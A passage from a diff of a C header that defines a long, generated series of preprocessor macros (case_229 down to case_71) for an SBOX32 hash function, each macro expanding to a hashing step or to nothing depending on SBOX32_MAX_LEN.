+#define case_229_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 228
+#define case_228_SBOX32(hash,state,key) _SBOX32_CASE(228,hash,state,key)
+#else
+#define case_228_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 227
+#define case_227_SBOX32(hash,state,key) _SBOX32_CASE(227,hash,state,key)
+#else
+#define case_227_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 226
+#define case_226_SBOX32(hash,state,key) _SBOX32_CASE(226,hash,state,key)
+#else
+#define case_226_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 225
+#define case_225_SBOX32(hash,state,key) _SBOX32_CASE(225,hash,state,key)
+#else
+#define case_225_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 224
+#define case_224_SBOX32(hash,state,key) _SBOX32_CASE(224,hash,state,key)
+#else
+#define case_224_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 223
+#define case_223_SBOX32(hash,state,key) _SBOX32_CASE(223,hash,state,key)
+#else
+#define case_223_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 222
+#define case_222_SBOX32(hash,state,key) _SBOX32_CASE(222,hash,state,key)
+#else
+#define case_222_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 221
+#define case_221_SBOX32(hash,state,key) _SBOX32_CASE(221,hash,state,key)
+#else
+#define case_221_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 220
+#define case_220_SBOX32(hash,state,key) _SBOX32_CASE(220,hash,state,key)
+#else
+#define case_220_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 219
+#define case_219_SBOX32(hash,state,key) _SBOX32_CASE(219,hash,state,key)
+#else
+#define case_219_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 218
+#define case_218_SBOX32(hash,state,key) _SBOX32_CASE(218,hash,state,key)
+#else
+#define case_218_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 217
+#define case_217_SBOX32(hash,state,key) _SBOX32_CASE(217,hash,state,key)
+#else
+#define case_217_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 216
+#define case_216_SBOX32(hash,state,key) _SBOX32_CASE(216,hash,state,key)
+#else
+#define case_216_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 215
+#define case_215_SBOX32(hash,state,key) _SBOX32_CASE(215,hash,state,key)
+#else
+#define case_215_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 214
+#define case_214_SBOX32(hash,state,key) _SBOX32_CASE(214,hash,state,key)
+#else
+#define case_214_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 213
+#define case_213_SBOX32(hash,state,key) _SBOX32_CASE(213,hash,state,key)
+#else
+#define case_213_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 212
+#define case_212_SBOX32(hash,state,key) _SBOX32_CASE(212,hash,state,key)
+#else
+#define case_212_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 211
+#define case_211_SBOX32(hash,state,key) _SBOX32_CASE(211,hash,state,key)
+#else
+#define case_211_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 210
+#define case_210_SBOX32(hash,state,key) _SBOX32_CASE(210,hash,state,key)
+#else
+#define case_210_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 209
+#define case_209_SBOX32(hash,state,key) _SBOX32_CASE(209,hash,state,key)
+#else
+#define case_209_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 208
+#define case_208_SBOX32(hash,state,key) _SBOX32_CASE(208,hash,state,key)
+#else
+#define case_208_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 207
+#define case_207_SBOX32(hash,state,key) _SBOX32_CASE(207,hash,state,key)
+#else
+#define case_207_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 206
+#define case_206_SBOX32(hash,state,key) _SBOX32_CASE(206,hash,state,key)
+#else
+#define case_206_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 205
+#define case_205_SBOX32(hash,state,key) _SBOX32_CASE(205,hash,state,key)
+#else
+#define case_205_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 204
+#define case_204_SBOX32(hash,state,key) _SBOX32_CASE(204,hash,state,key)
+#else
+#define case_204_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 203
+#define case_203_SBOX32(hash,state,key) _SBOX32_CASE(203,hash,state,key)
+#else
+#define case_203_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 202
+#define case_202_SBOX32(hash,state,key) _SBOX32_CASE(202,hash,state,key)
+#else
+#define case_202_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 201
+#define case_201_SBOX32(hash,state,key) _SBOX32_CASE(201,hash,state,key)
+#else
+#define case_201_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 200
+#define case_200_SBOX32(hash,state,key) _SBOX32_CASE(200,hash,state,key)
+#else
+#define case_200_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 199
+#define case_199_SBOX32(hash,state,key) _SBOX32_CASE(199,hash,state,key)
+#else
+#define case_199_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 198
+#define case_198_SBOX32(hash,state,key) _SBOX32_CASE(198,hash,state,key)
+#else
+#define case_198_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 197
+#define case_197_SBOX32(hash,state,key) _SBOX32_CASE(197,hash,state,key)
+#else
+#define case_197_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 196
+#define case_196_SBOX32(hash,state,key) _SBOX32_CASE(196,hash,state,key)
+#else
+#define case_196_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 195
+#define case_195_SBOX32(hash,state,key) _SBOX32_CASE(195,hash,state,key)
+#else
+#define case_195_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 194
+#define case_194_SBOX32(hash,state,key) _SBOX32_CASE(194,hash,state,key)
+#else
+#define case_194_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 193
+#define case_193_SBOX32(hash,state,key) _SBOX32_CASE(193,hash,state,key)
+#else
+#define case_193_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 192
+#define case_192_SBOX32(hash,state,key) _SBOX32_CASE(192,hash,state,key)
+#else
+#define case_192_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 191
+#define case_191_SBOX32(hash,state,key) _SBOX32_CASE(191,hash,state,key)
+#else
+#define case_191_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 190
+#define case_190_SBOX32(hash,state,key) _SBOX32_CASE(190,hash,state,key)
+#else
+#define case_190_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 189
+#define case_189_SBOX32(hash,state,key) _SBOX32_CASE(189,hash,state,key)
+#else
+#define case_189_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 188
+#define case_188_SBOX32(hash,state,key) _SBOX32_CASE(188,hash,state,key)
+#else
+#define case_188_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 187
+#define case_187_SBOX32(hash,state,key) _SBOX32_CASE(187,hash,state,key)
+#else
+#define case_187_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 186
+#define case_186_SBOX32(hash,state,key) _SBOX32_CASE(186,hash,state,key)
+#else
+#define case_186_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 185
+#define case_185_SBOX32(hash,state,key) _SBOX32_CASE(185,hash,state,key)
+#else
+#define case_185_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 184
+#define case_184_SBOX32(hash,state,key) _SBOX32_CASE(184,hash,state,key)
+#else
+#define case_184_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 183
+#define case_183_SBOX32(hash,state,key) _SBOX32_CASE(183,hash,state,key)
+#else
+#define case_183_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 182
+#define case_182_SBOX32(hash,state,key) _SBOX32_CASE(182,hash,state,key)
+#else
+#define case_182_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 181
+#define case_181_SBOX32(hash,state,key) _SBOX32_CASE(181,hash,state,key)
+#else
+#define case_181_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 180
+#define case_180_SBOX32(hash,state,key) _SBOX32_CASE(180,hash,state,key)
+#else
+#define case_180_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 179
+#define case_179_SBOX32(hash,state,key) _SBOX32_CASE(179,hash,state,key)
+#else
+#define case_179_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 178
+#define case_178_SBOX32(hash,state,key) _SBOX32_CASE(178,hash,state,key)
+#else
+#define case_178_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 177
+#define case_177_SBOX32(hash,state,key) _SBOX32_CASE(177,hash,state,key)
+#else
+#define case_177_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 176
+#define case_176_SBOX32(hash,state,key) _SBOX32_CASE(176,hash,state,key)
+#else
+#define case_176_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 175
+#define case_175_SBOX32(hash,state,key) _SBOX32_CASE(175,hash,state,key)
+#else
+#define case_175_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 174
+#define case_174_SBOX32(hash,state,key) _SBOX32_CASE(174,hash,state,key)
+#else
+#define case_174_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 173
+#define case_173_SBOX32(hash,state,key) _SBOX32_CASE(173,hash,state,key)
+#else
+#define case_173_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 172
+#define case_172_SBOX32(hash,state,key) _SBOX32_CASE(172,hash,state,key)
+#else
+#define case_172_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 171
+#define case_171_SBOX32(hash,state,key) _SBOX32_CASE(171,hash,state,key)
+#else
+#define case_171_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 170
+#define case_170_SBOX32(hash,state,key) _SBOX32_CASE(170,hash,state,key)
+#else
+#define case_170_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 169
+#define case_169_SBOX32(hash,state,key) _SBOX32_CASE(169,hash,state,key)
+#else
+#define case_169_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 168
+#define case_168_SBOX32(hash,state,key) _SBOX32_CASE(168,hash,state,key)
+#else
+#define case_168_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 167
+#define case_167_SBOX32(hash,state,key) _SBOX32_CASE(167,hash,state,key)
+#else
+#define case_167_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 166
+#define case_166_SBOX32(hash,state,key) _SBOX32_CASE(166,hash,state,key)
+#else
+#define case_166_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 165
+#define case_165_SBOX32(hash,state,key) _SBOX32_CASE(165,hash,state,key)
+#else
+#define case_165_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 164
+#define case_164_SBOX32(hash,state,key) _SBOX32_CASE(164,hash,state,key)
+#else
+#define case_164_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 163
+#define case_163_SBOX32(hash,state,key) _SBOX32_CASE(163,hash,state,key)
+#else
+#define case_163_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 162
+#define case_162_SBOX32(hash,state,key) _SBOX32_CASE(162,hash,state,key)
+#else
+#define case_162_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 161
+#define case_161_SBOX32(hash,state,key) _SBOX32_CASE(161,hash,state,key)
+#else
+#define case_161_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 160
+#define case_160_SBOX32(hash,state,key) _SBOX32_CASE(160,hash,state,key)
+#else
+#define case_160_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 159
+#define case_159_SBOX32(hash,state,key) _SBOX32_CASE(159,hash,state,key)
+#else
+#define case_159_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 158
+#define case_158_SBOX32(hash,state,key) _SBOX32_CASE(158,hash,state,key)
+#else
+#define case_158_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 157
+#define case_157_SBOX32(hash,state,key) _SBOX32_CASE(157,hash,state,key)
+#else
+#define case_157_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 156
+#define case_156_SBOX32(hash,state,key) _SBOX32_CASE(156,hash,state,key)
+#else
+#define case_156_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 155
+#define case_155_SBOX32(hash,state,key) _SBOX32_CASE(155,hash,state,key)
+#else
+#define case_155_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 154
+#define case_154_SBOX32(hash,state,key) _SBOX32_CASE(154,hash,state,key)
+#else
+#define case_154_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 153
+#define case_153_SBOX32(hash,state,key) _SBOX32_CASE(153,hash,state,key)
+#else
+#define case_153_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 152
+#define case_152_SBOX32(hash,state,key) _SBOX32_CASE(152,hash,state,key)
+#else
+#define case_152_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 151
+#define case_151_SBOX32(hash,state,key) _SBOX32_CASE(151,hash,state,key)
+#else
+#define case_151_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 150
+#define case_150_SBOX32(hash,state,key) _SBOX32_CASE(150,hash,state,key)
+#else
+#define case_150_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 149
+#define case_149_SBOX32(hash,state,key) _SBOX32_CASE(149,hash,state,key)
+#else
+#define case_149_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 148
+#define case_148_SBOX32(hash,state,key) _SBOX32_CASE(148,hash,state,key)
+#else
+#define case_148_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 147
+#define case_147_SBOX32(hash,state,key) _SBOX32_CASE(147,hash,state,key)
+#else
+#define case_147_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 146
+#define case_146_SBOX32(hash,state,key) _SBOX32_CASE(146,hash,state,key)
+#else
+#define case_146_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 145
+#define case_145_SBOX32(hash,state,key) _SBOX32_CASE(145,hash,state,key)
+#else
+#define case_145_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 144
+#define case_144_SBOX32(hash,state,key) _SBOX32_CASE(144,hash,state,key)
+#else
+#define case_144_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 143
+#define case_143_SBOX32(hash,state,key) _SBOX32_CASE(143,hash,state,key)
+#else
+#define case_143_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 142
+#define case_142_SBOX32(hash,state,key) _SBOX32_CASE(142,hash,state,key)
+#else
+#define case_142_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 141
+#define case_141_SBOX32(hash,state,key) _SBOX32_CASE(141,hash,state,key)
+#else
+#define case_141_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 140
+#define case_140_SBOX32(hash,state,key) _SBOX32_CASE(140,hash,state,key)
+#else
+#define case_140_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 139
+#define case_139_SBOX32(hash,state,key) _SBOX32_CASE(139,hash,state,key)
+#else
+#define case_139_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 138
+#define case_138_SBOX32(hash,state,key) _SBOX32_CASE(138,hash,state,key)
+#else
+#define case_138_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 137
+#define case_137_SBOX32(hash,state,key) _SBOX32_CASE(137,hash,state,key)
+#else
+#define case_137_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 136
+#define case_136_SBOX32(hash,state,key) _SBOX32_CASE(136,hash,state,key)
+#else
+#define case_136_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 135
+#define case_135_SBOX32(hash,state,key) _SBOX32_CASE(135,hash,state,key)
+#else
+#define case_135_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 134
+#define case_134_SBOX32(hash,state,key) _SBOX32_CASE(134,hash,state,key)
+#else
+#define case_134_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 133
+#define case_133_SBOX32(hash,state,key) _SBOX32_CASE(133,hash,state,key)
+#else
+#define case_133_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 132
+#define case_132_SBOX32(hash,state,key) _SBOX32_CASE(132,hash,state,key)
+#else
+#define case_132_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 131
+#define case_131_SBOX32(hash,state,key) _SBOX32_CASE(131,hash,state,key)
+#else
+#define case_131_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 130
+#define case_130_SBOX32(hash,state,key) _SBOX32_CASE(130,hash,state,key)
+#else
+#define case_130_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 129
+#define case_129_SBOX32(hash,state,key) _SBOX32_CASE(129,hash,state,key)
+#else
+#define case_129_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 128
+#define case_128_SBOX32(hash,state,key) _SBOX32_CASE(128,hash,state,key)
+#else
+#define case_128_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 127
+#define case_127_SBOX32(hash,state,key) _SBOX32_CASE(127,hash,state,key)
+#else
+#define case_127_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 126
+#define case_126_SBOX32(hash,state,key) _SBOX32_CASE(126,hash,state,key)
+#else
+#define case_126_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 125
+#define case_125_SBOX32(hash,state,key) _SBOX32_CASE(125,hash,state,key)
+#else
+#define case_125_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 124
+#define case_124_SBOX32(hash,state,key) _SBOX32_CASE(124,hash,state,key)
+#else
+#define case_124_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 123
+#define case_123_SBOX32(hash,state,key) _SBOX32_CASE(123,hash,state,key)
+#else
+#define case_123_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 122
+#define case_122_SBOX32(hash,state,key) _SBOX32_CASE(122,hash,state,key)
+#else
+#define case_122_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 121
+#define case_121_SBOX32(hash,state,key) _SBOX32_CASE(121,hash,state,key)
+#else
+#define case_121_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 120
+#define case_120_SBOX32(hash,state,key) _SBOX32_CASE(120,hash,state,key)
+#else
+#define case_120_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 119
+#define case_119_SBOX32(hash,state,key) _SBOX32_CASE(119,hash,state,key)
+#else
+#define case_119_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 118
+#define case_118_SBOX32(hash,state,key) _SBOX32_CASE(118,hash,state,key)
+#else
+#define case_118_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 117
+#define case_117_SBOX32(hash,state,key) _SBOX32_CASE(117,hash,state,key)
+#else
+#define case_117_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 116
+#define case_116_SBOX32(hash,state,key) _SBOX32_CASE(116,hash,state,key)
+#else
+#define case_116_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 115
+#define case_115_SBOX32(hash,state,key) _SBOX32_CASE(115,hash,state,key)
+#else
+#define case_115_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 114
+#define case_114_SBOX32(hash,state,key) _SBOX32_CASE(114,hash,state,key)
+#else
+#define case_114_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 113
+#define case_113_SBOX32(hash,state,key) _SBOX32_CASE(113,hash,state,key)
+#else
+#define case_113_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 112
+#define case_112_SBOX32(hash,state,key) _SBOX32_CASE(112,hash,state,key)
+#else
+#define case_112_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 111
+#define case_111_SBOX32(hash,state,key) _SBOX32_CASE(111,hash,state,key)
+#else
+#define case_111_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 110
+#define case_110_SBOX32(hash,state,key) _SBOX32_CASE(110,hash,state,key)
+#else
+#define case_110_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 109
+#define case_109_SBOX32(hash,state,key) _SBOX32_CASE(109,hash,state,key)
+#else
+#define case_109_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 108
+#define case_108_SBOX32(hash,state,key) _SBOX32_CASE(108,hash,state,key)
+#else
+#define case_108_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 107
+#define case_107_SBOX32(hash,state,key) _SBOX32_CASE(107,hash,state,key)
+#else
+#define case_107_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 106
+#define case_106_SBOX32(hash,state,key) _SBOX32_CASE(106,hash,state,key)
+#else
+#define case_106_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 105
+#define case_105_SBOX32(hash,state,key) _SBOX32_CASE(105,hash,state,key)
+#else
+#define case_105_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 104
+#define case_104_SBOX32(hash,state,key) _SBOX32_CASE(104,hash,state,key)
+#else
+#define case_104_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 103
+#define case_103_SBOX32(hash,state,key) _SBOX32_CASE(103,hash,state,key)
+#else
+#define case_103_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 102
+#define case_102_SBOX32(hash,state,key) _SBOX32_CASE(102,hash,state,key)
+#else
+#define case_102_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 101
+#define case_101_SBOX32(hash,state,key) _SBOX32_CASE(101,hash,state,key)
+#else
+#define case_101_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 100
+#define case_100_SBOX32(hash,state,key) _SBOX32_CASE(100,hash,state,key)
+#else
+#define case_100_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 99
+#define case_99_SBOX32(hash,state,key) _SBOX32_CASE(99,hash,state,key)
+#else
+#define case_99_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 98
+#define case_98_SBOX32(hash,state,key) _SBOX32_CASE(98,hash,state,key)
+#else
+#define case_98_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 97
+#define case_97_SBOX32(hash,state,key) _SBOX32_CASE(97,hash,state,key)
+#else
+#define case_97_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 96
+#define case_96_SBOX32(hash,state,key) _SBOX32_CASE(96,hash,state,key)
+#else
+#define case_96_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 95
+#define case_95_SBOX32(hash,state,key) _SBOX32_CASE(95,hash,state,key)
+#else
+#define case_95_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 94
+#define case_94_SBOX32(hash,state,key) _SBOX32_CASE(94,hash,state,key)
+#else
+#define case_94_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 93
+#define case_93_SBOX32(hash,state,key) _SBOX32_CASE(93,hash,state,key)
+#else
+#define case_93_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 92
+#define case_92_SBOX32(hash,state,key) _SBOX32_CASE(92,hash,state,key)
+#else
+#define case_92_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 91
+#define case_91_SBOX32(hash,state,key) _SBOX32_CASE(91,hash,state,key)
+#else
+#define case_91_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 90
+#define case_90_SBOX32(hash,state,key) _SBOX32_CASE(90,hash,state,key)
+#else
+#define case_90_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 89
+#define case_89_SBOX32(hash,state,key) _SBOX32_CASE(89,hash,state,key)
+#else
+#define case_89_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 88
+#define case_88_SBOX32(hash,state,key) _SBOX32_CASE(88,hash,state,key)
+#else
+#define case_88_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 87
+#define case_87_SBOX32(hash,state,key) _SBOX32_CASE(87,hash,state,key)
+#else
+#define case_87_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 86
+#define case_86_SBOX32(hash,state,key) _SBOX32_CASE(86,hash,state,key)
+#else
+#define case_86_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 85
+#define case_85_SBOX32(hash,state,key) _SBOX32_CASE(85,hash,state,key)
+#else
+#define case_85_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 84
+#define case_84_SBOX32(hash,state,key) _SBOX32_CASE(84,hash,state,key)
+#else
+#define case_84_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 83
+#define case_83_SBOX32(hash,state,key) _SBOX32_CASE(83,hash,state,key)
+#else
+#define case_83_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 82
+#define case_82_SBOX32(hash,state,key) _SBOX32_CASE(82,hash,state,key)
+#else
+#define case_82_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 81
+#define case_81_SBOX32(hash,state,key) _SBOX32_CASE(81,hash,state,key)
+#else
+#define case_81_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 80
+#define case_80_SBOX32(hash,state,key) _SBOX32_CASE(80,hash,state,key)
+#else
+#define case_80_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 79
+#define case_79_SBOX32(hash,state,key) _SBOX32_CASE(79,hash,state,key)
+#else
+#define case_79_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 78
+#define case_78_SBOX32(hash,state,key) _SBOX32_CASE(78,hash,state,key)
+#else
+#define case_78_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 77
+#define case_77_SBOX32(hash,state,key) _SBOX32_CASE(77,hash,state,key)
+#else
+#define case_77_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 76
+#define case_76_SBOX32(hash,state,key) _SBOX32_CASE(76,hash,state,key)
+#else
+#define case_76_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 75
+#define case_75_SBOX32(hash,state,key) _SBOX32_CASE(75,hash,state,key)
+#else
+#define case_75_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 74
+#define case_74_SBOX32(hash,state,key) _SBOX32_CASE(74,hash,state,key)
+#else
+#define case_74_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 73
+#define case_73_SBOX32(hash,state,key) _SBOX32_CASE(73,hash,state,key)
+#else
+#define case_73_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 72
+#define case_72_SBOX32(hash,state,key) _SBOX32_CASE(72,hash,state,key)
+#else
+#define case_72_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 71
